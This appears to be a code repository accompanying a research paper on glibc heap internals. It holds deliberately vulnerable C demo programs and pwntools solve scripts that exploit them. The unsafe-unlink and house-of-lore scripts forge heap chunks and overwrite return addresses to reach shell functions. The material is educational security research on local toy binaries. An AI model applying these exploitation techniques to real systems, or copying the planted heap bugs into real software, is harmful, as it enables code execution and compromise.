├── The_Glibc_Heap__Internals_and_Security_Vulnerabilities.pdf ├── house_of_lore ├── solve.py └── house_of_lore.c ├── heap_overflow ├── heap_overflow0.c └── heap_overflow1.c ├── README.md ├── double_free └── doublefree.c ├── house_of_spirit └── house_of_spirit.c ├── house_of_einherjar ├── off_by_one_demo.c └── house_of_einherjar_demo.c ├── unsafe_unlink ├── unsafe_unlink.c └── solve.py └── use_after_free └── use_after_free.c /The_Glibc_Heap__Internals_and_Security_Vulnerabilities.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/24kimel/theheap/HEAD/The_Glibc_Heap__Internals_and_Security_Vulnerabilities.pdf -------------------------------------------------------------------------------- /house_of_lore/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | p = process(['./house_of_lore']) 4 | gdb.attach(p) 5 | 6 | print(p.recvuntil(b'the heap\n').decode('UTF-8')) 7 | p.sendline(b'A' * 56 + p64(0x4011de)) # padding + address of shell 8 | 9 | p.interactive() 10 | -------------------------------------------------------------------------------- /heap_overflow/heap_overflow0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void win() { 6 | system("/bin/sh"); 7 | } 8 | 9 | void lose() { 10 | printf("haha you lost lolxd\n"); 11 | } 12 | 13 | int main() { 14 | char *name = (char *)malloc(sizeof(int)); // 4 bytes 15 | int *p2 = (void *)malloc(sizeof(void *)); // 4 bytes 16 | void* losef = (void*)&lose; 17 | 18 | memcpy(p2, &losef, sizeof(void (*)())); 19 | 20 | printf("Enter your name: "); 21 | scanf("%s", (char *)name); 22 | printf("Hello %s\nLet's see if your\'e a winner\n", (char *)name); 23 | 24 | ((void (*)())(*p2))(); 25 | free(name); 26 | free(p2); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # The Heap: Internals and Security Vulnerabilities 2 | [Tomer](https://github.com/commandlineinterface) and [I](https://github.com/24kimel) are happy to have written this [research paper about the heap](https://github.com/24kimel/theheap/blob/main/The_Glibc_Heap__Internals_and_Security_Vulnerabilities.pdf). 3 | All of the source files presented here are referred to in the paper itself. 4 | We hope you'll learn something new from this paper. 5 | 6 | There are some URLs in the paper. If you'd like to click them, you'd need to download the PDF. 7 | 8 | EDIT: We have noticed that in pages 22, 23, 28, and 29, some lines of code/comments overflow the width of the page. Until we fix these errors, the reader must refer to the source code above. 9 | -------------------------------------------------------------------------------- /double_free/doublefree.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | long* p1; 6 | long* p2; 7 | long* p3; 8 | int i; 9 | 10 | setbuf(stdout, NULL); 11 | 12 | void *ptrs[7]; 13 | for (int i=0; i<7; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | 17 | p1 = malloc(8); 18 | p2 = malloc(8); 19 | 20 | for (int i=0; i<7; i++) { 21 | free(ptrs[i]); 22 | } 23 | 24 | free(p1); 25 | free(p2); 26 | free(p1); 27 | 28 | for (int i=0; i<7; i++) { 29 | ptrs[i] = malloc(8); 30 | } 31 | 32 | p1 = malloc(8); 33 | malloc(8); 34 | p3 = malloc(8); 35 | printf("p1: %p, p3: %p\n", p1, p3); 36 | 37 | return 0; 38 | } -------------------------------------------------------------------------------- /house_of_spirit/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void get_shell(char *str) { 7 | if(strncmp(str, "sudo ls", 7) == 0) { 8 | system("/bin/sh"); 9 | } 10 | else{ 11 | puts("You don't have the privilege to control this machine"); 12 | } 13 | } 14 | 15 | int main() { 16 | setbuf(stdout, NULL); 17 | malloc(1); 18 | 19 | unsigned long long *a; 20 | unsigned long long fake_chunk[10] __attribute__ ((aligned (0x10))); 21 | 22 | fake_chunk[1] = 0x40; // size | AMP flags 23 | a = &fake_chunk[2]; // pointer to the payload 24 | free(a); 25 | 26 | void *perms = malloc(0x30); 27 | memset(perms, 0, 0x30); 28 | printf("Give me your input: "); 29 | read(0, (char *)a, 0x30); 30 | get_shell(perms); 31 | return 0; 32 | } -------------------------------------------------------------------------------- /house_of_einherjar/off_by_one_demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | void* p1 = (void*)malloc(0x500); // holds the fake chunk 7 | void* victim = (void*)malloc(0x4f0); 8 | void** p2 = (void**)malloc(0x4f0); // part of the plan 9 | void** p3 = (void**)malloc(0x510); // part of the plan 10 | 11 | // fake chunk 12 | ((size_t*)p1)[1] = 0x501; // size 13 | *(size_t*)(p1 + 0x500) = 0x500; // prev_size 14 | ((size_t**)p1)[2] = (void*)((char*)p2 - 0x10); // fd 15 | ((size_t**)p1)[3] = (void*)((char*)p3 - 0x10); // bk 16 | 17 | ((size_t**)p3)[0] = (void*)((size_t)p1); // overwrite bk->fd == fake_chunk 18 | ((size_t**)p2)[1] = (void*)((size_t)p1); // overwrite fd->bk == fake_chunk 19 | 20 | // vuln off-by-one 21 | ((char*)victim)[-8] = 0; 22 | 23 | // trigger vuln 24 | free(victim); 25 | 26 | void* merged = malloc(0x100); 27 | 28 | printf("p1: %p , merged: %p\n", p1, merged); 29 | assert(p1 + 0x10 == merged); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /heap_overflow/heap_overflow1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef struct { 6 | void (*fp)(); 7 | char name[12]; 8 | } person; 9 | 10 | void win() { 11 | system("/bin/sh"); 12 | } 13 | 14 | void hello() { 15 | printf("Hello world, I am guest3 xdlol :)\n"); 16 | } 17 | 18 | int main() { 19 | char option; 20 | person *guest1; 21 | person *guest2; 22 | person *guest3; 23 | int *size; 24 | 25 | guest1 = (person *)malloc(sizeof(person)); 26 | guest2 = (person *)malloc(sizeof(person)); 27 | guest3 = (person *)malloc(sizeof(person)); 28 | 29 | guest3->fp = &hello; 30 | 31 | printf("enter name for guest1: "); 32 | fgets(guest1->name, 28, stdin); 33 | // the next chunk's size: 34 | size = (int *)(guest1->name + 24); 35 | // get size of chunk via metadata (while ignoring the three least significant bits) 36 | // subtract size of metadata and alignment to obtain buffer size: 37 | fgets(guest2->name, (*size & 0xfffffff8) - 20, stdin); 38 | 39 | guest3->fp(); 40 | free(guest1); 41 | free(guest2); 42 | free(guest3); 43 | return 0; 44 | } -------------------------------------------------------------------------------- /unsafe_unlink/unsafe_unlink.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define DEBUG_LEAK 1 5 | 6 | void secret_technician_area() { 7 | system("/bin/sh"); 8 | } 9 | 10 | char padding[0x100]; 11 | char* name; 12 | 13 | int main() { 14 | puts("Welcome to my vending machine :)"); 15 | name = (char*)malloc(0x420); 16 | char* which_drink = (char*)malloc(0x420); 17 | bool got_drink = false; 18 | int i = 0; 19 | 20 | #if DEBUG_LEAK 21 | printf("Hope I'll not leave it in debug mode in production! %p %p %p\n", &which_drink, &main, &name); 22 | #endif 23 | 24 | while (1) { 25 | puts("Name:"); 26 | fgets(name, 0x441, stdin); // TODO remove my special DEBUG size :) 27 | if (++i >= 3) { 28 | printf("Goodbye!\n"); 29 | break; 30 | } 31 | 32 | if (!got_drink) { 33 | puts("Drink:"); 34 | fgets(which_drink, 0x420, stdin); 35 | printf("You got your drink\n"); 36 | got_drink = true; 37 | free(which_drink); 38 | } 39 | 40 | puts("Now you can rename yourself twice ;)"); 41 | } 42 | 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /unsafe_unlink/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # REGULAR SOLVE 4 | p = process('./unsafe_unlink') 5 | # DEBUG WSL PREP 6 | # p = gdb.debug(args=['./unsafe_unlink'], exe='./unsafe_unlink', gdbscript=''' 7 | # b *main 8 | # c 9 | # ''') 10 | # time.sleep(2) 11 | 12 | p.recvline() # skip first welcome message 13 | leak = p.recvline().split(b' ') 14 | stack_leak = int(leak[-3].decode(), 16) 15 | pie_leak = int(leak[-2].decode(), 16) 16 | data_leak = int(leak[-1].decode(), 16) 17 | log.info(f'STACK LEAK {hex(stack_leak)}, DATA LEAK {hex(data_leak)}, PIE LEAK {hex(pie_leak)}') 18 | 19 | fd = p64(data_leak - 0x18) 20 | bk = p64(data_leak - 0x10) 21 | fake_chunk = p64(0x0) + p64(0x420) + fd + bk + p64(0x0) + p64(0x0) 22 | fake_chunk_padding = b'a' * (0x420 - len(fake_chunk)) 23 | adjacent_chunk_metadata = p64(0x420) + p64(0x430) 24 | 25 | assert len(fake_chunk + fake_chunk_padding + adjacent_chunk_metadata) == 0x430 # Sanity Check 26 | 27 | p.recvuntil(b'Name:\n') 28 | log.info(f'Sending fake chunk... ( fd: {fd} bk: {bk} )') 29 | p.sendline(fake_chunk + fake_chunk_padding + adjacent_chunk_metadata) 30 | log.info("Triggering backwards consolidation...") 31 | p.recvuntil(b'Drink:\n') 32 | p.sendline(b'go') 33 | 34 | stack_ret_addr = stack_leak + 0x18 35 | 36 | p.recvuntil(b'Name:\n') 37 | log.info(f'Sending arbitrary address (stack ret address)... Address: {hex(stack_ret_addr)}') 38 | p.sendline(p64(stack_ret_addr) * 4) 39 | 40 | p.recvuntil(b'Name:\n') 41 | shell_func = pie_leak - 0xf 42 | log.info(f'Writing to {hex(stack_ret_addr)} the address {hex(shell_func)} (shell function)...') 43 | p.sendline(p64(shell_func)) 44 | 45 | p.recvuntil(b'Goodbye!\n') 46 | log.info('Returning to shell...') 47 | 48 | p.interactive() 49 | -------------------------------------------------------------------------------- /use_after_free/use_after_free.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define DEBUG_MACHINE 0 5 | #define VALID_USERNAMES_CNT 2 6 | #define USERNAME_LEN 65 7 | #define NOTE_LEN 67 8 | 9 | struct user_info { 10 | char username[USERNAME_LEN]; 11 | bool is_admin; 12 | }; 13 | 14 | static struct user_info* active_user = NULL; 15 | 16 | void create_note(); 17 | void login(); 18 | void logout(); 19 | void print_menu_logged_out(); 20 | void print_menu_logged_in(); 21 | 22 | int main() { 23 | int option = 0; 24 | printf("HeapVulnShop.vuln.net in closed beta with our note saving system\n"); 25 | do { 26 | if (active_user == NULL) { 27 | print_menu_logged_out(); 28 | } else { 29 | print_menu_logged_in(); 30 | } 31 | scanf("%d", &option); 32 | getchar(); 33 | switch (option) { 34 | case 1: 35 | login(); 36 | break; 37 | case 2: 38 | logout(); 39 | break; 40 | case 3: 41 | if (active_user != NULL) { 42 | create_note(); 43 | } 44 | break; 45 | default: 46 | printf("hmm..."); 47 | break; 48 | } 49 | } while(1); 50 | 51 | return 0; 52 | } 53 | 54 | void create_note() { 55 | char* note = (char*)malloc(NOTE_LEN); 56 | fgets(note, 66, stdin); 57 | } 58 | 59 | void login() { 60 | printf("Enter username: "); 61 | active_user = (struct user_info*)malloc(sizeof(struct user_info)); 62 | fgets(active_user->username, 64, stdin); 63 | printf("Welcome %s", active_user->username); 64 | active_user->is_admin = DEBUG_MACHINE; 65 | } 66 | 67 | void logout() { 68 | if (active_user->is_admin) { 69 | system("/bin/sh"); 70 | } 71 | free(active_user); 72 | } 73 | 74 | void print_menu_logged_out() { 75 | printf("Choose one of the following\n"); 76 | printf("1: Login\n"); 77 | printf("> "); 78 | } 79 | 80 | void print_menu_logged_in() { 81 | printf("Choose one of the following\n"); 82 | printf("2: Logout\n"); 83 | printf("3: Create Note\n"); 84 | printf("> "); 85 | } 86 | -------------------------------------------------------------------------------- /house_of_lore/house_of_lore.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); } 8 | 9 | int main(int argc, char * argv[]){ 10 | intptr_t* stack_buffer_1[4] = {0}; 11 | intptr_t* stack_buffer_2[4] = {0}; 12 | void* fake_freelist[7][4]; 13 | 14 | intptr_t *victim = malloc(0x100); 15 | printf("Our victim chunk %p\n", victim); 16 | 17 | // Prepare tcache fill 18 | void *dummies[7]; 19 | for(int i=0; i<7; i++) dummies[i] = malloc(0x100); 20 | 21 | // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk 22 | intptr_t *victim_chunk = victim-2; 23 | 24 | printf("stack_buffer_1 at %p\n", stack_buffer_1); 25 | printf("stack_buffer_2 at %p\n", stack_buffer_2); 26 | 27 | for(int i=0; i<6; i++) { 28 | fake_freelist[i][3] = fake_freelist[i+1]; 29 | } 30 | fake_freelist[6][3] = NULL; 31 | printf("fake free-list at %p\n", fake_freelist); 32 | 33 | // stack_buffer_1->fd = victim_chunk 34 | stack_buffer_1[0] = 0; 35 | stack_buffer_1[1] = 0; 36 | stack_buffer_1[2] = victim_chunk; 37 | 38 | // stack_buffer_1->bk = stack_buffer_2 39 | stack_buffer_1[3] = (intptr_t*)stack_buffer_2; 40 | // stack_buffer_2->fd = stack_buffer_1 41 | stack_buffer_2[2] = (intptr_t*)stack_buffer_1; 42 | 43 | // stack_buffer_2->bk = fake_freelist ; prevent crash at smallbin_to_tcache mechanism 44 | stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; 45 | 46 | // avoid consolidation top chunk 47 | void *p5 = malloc(1000); 48 | 49 | // Fill up tcache 50 | for(int i=0; i<7; i++) free(dummies[i]); 51 | 52 | // Put victim chunk in unsorted bin 53 | free((void*)victim); 54 | 55 | // Force sort of the unsorted bin 56 | void *p2 = malloc(1200); 57 | 58 | // Vuln victim->bk = stack_buffer_1 59 | victim[1] = (intptr_t)stack_buffer_1; 60 | 61 | // Clean tcache 62 | for(int i=0; i<7; i++) malloc(0x100); 63 | 64 | // malloc will retrive victim ; here bin->bk == victim and the tcache is filled with 7 smallbin chunks 65 | void *p3 = malloc(0x100); 66 | 67 | // next malloc will return fake_freelist[5] (fake_freelist[6] prevents smallbin corruption failure) 68 | char *p4 = malloc(0x100); 69 | 70 | printf("p4 is %p and should be on the stack!\n", p4); 71 | intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 72 | 73 | long offset = (long)__builtin_frame_address(0) - (long)p4; 74 | memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 75 | 76 | // sanity check 77 | assert((long)__builtin_return_address(0) == (long)jackpot); 78 | } 79 | -------------------------------------------------------------------------------- /house_of_einherjar/house_of_einherjar_demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // 64-bit based comments 7 | // valid exploitation for glibc-2.32 or higher 8 | // if you want to use this attack against glibc-2.31 or lower 9 | // you have to remove the safe-linking xor at the "poisoned_chunk"->fd 10 | int main() { 11 | intptr_t stack_var[0x10]; 12 | intptr_t* target = NULL; 13 | 14 | // choose a properly aligned target address 15 | for(int i=0; i < 0x10; i++) { 16 | if(((long)&stack_var[i] & 0xf) == 0) { 17 | target = &stack_var[i]; 18 | break; 19 | } 20 | } 21 | assert(target != NULL); 22 | printf("Our target address to return is %p\n", target); 23 | 24 | intptr_t* fake_chunk = (intptr_t*)malloc(0x38); // final size 0x40 25 | intptr_t* poisoned_chunk = (intptr_t*)malloc(0x28); // final size 0x30 26 | intptr_t* victim = (intptr_t*)malloc(0xf8); // final size would be 0x101 27 | // after off-by-one 0x100 28 | 29 | fake_chunk[0] = 0; // prev_size 30 | fake_chunk[1] = 0x60; // size == 0x30 (poisoned_chunk) + 0x40 (fake_chunk) 31 | // - 0x10 (metadata) = 0x60 32 | fake_chunk[2] = (intptr_t)fake_chunk; // fd 33 | fake_chunk[3] = (intptr_t)fake_chunk; // bk 34 | // fd and bk are set to fake_chunk in order to bypass unlink check 35 | 36 | // set prev_size to pass prev_size == size check 37 | victim[-2] = 0x60; 38 | 39 | // off-by-one vuln 40 | ((char*)victim)[-8] = 0; 41 | 42 | printf("Fill tcache.\n"); 43 | intptr_t *x[7]; 44 | for(int i=0; i < sizeof(x) / sizeof(intptr_t*); i++) { 45 | x[i] = malloc(0xf8); 46 | } 47 | 48 | printf("Fill up tcache list.\n"); 49 | for(int i=0; i < sizeof(x) / sizeof(intptr_t*); i++) { 50 | free(x[i]); 51 | } 52 | 53 | printf("Size Before: %ld\n", ((intptr_t*)fake_chunk)[1]); 54 | 55 | // trigger backwards consolidation 56 | free(victim); 57 | 58 | assert(((intptr_t*)fake_chunk)[1] == 0x161); 59 | printf("Size After: %ld\n", ((intptr_t*)fake_chunk)[1]); 60 | 61 | intptr_t* overlapped = malloc(0x158); // this chunk would grab the overlapping 62 | // chunk from bin 63 | 64 | // we need at least one freed chunk in the corresponding tcache[tidx (tcache index)] 65 | // bin in order to bypass tcache mitigation 66 | void* tcache_bypass = malloc(0x28); 67 | free(tcache_bypass); 68 | 69 | // free "poisoned_chunk" (we have control over this location due to the 70 | // overlapping chunk) 71 | free(poisoned_chunk); 72 | 73 | // printf("Next malloc(0x158) is at %p %p\n", overlapped, fake_chunk); 74 | // now we can overwrite "poisoned_chunk"->fd through "overlapped" 75 | overlapped[6] = (long)target ^ ((long)&overlapped[6] >> 12); // pre-calculated 76 | // "poisoned_chunk"->fd index 77 | 78 | // the 2nd malloc will return our arbitrary pointer 79 | malloc(0x28); 80 | void* returned = (void*)malloc(0x28); 81 | printf("Final returned address %p\n", returned); 82 | 83 | assert(target == returned); 84 | return 0; 85 | } 86 | --------------------------------------------------------------------------------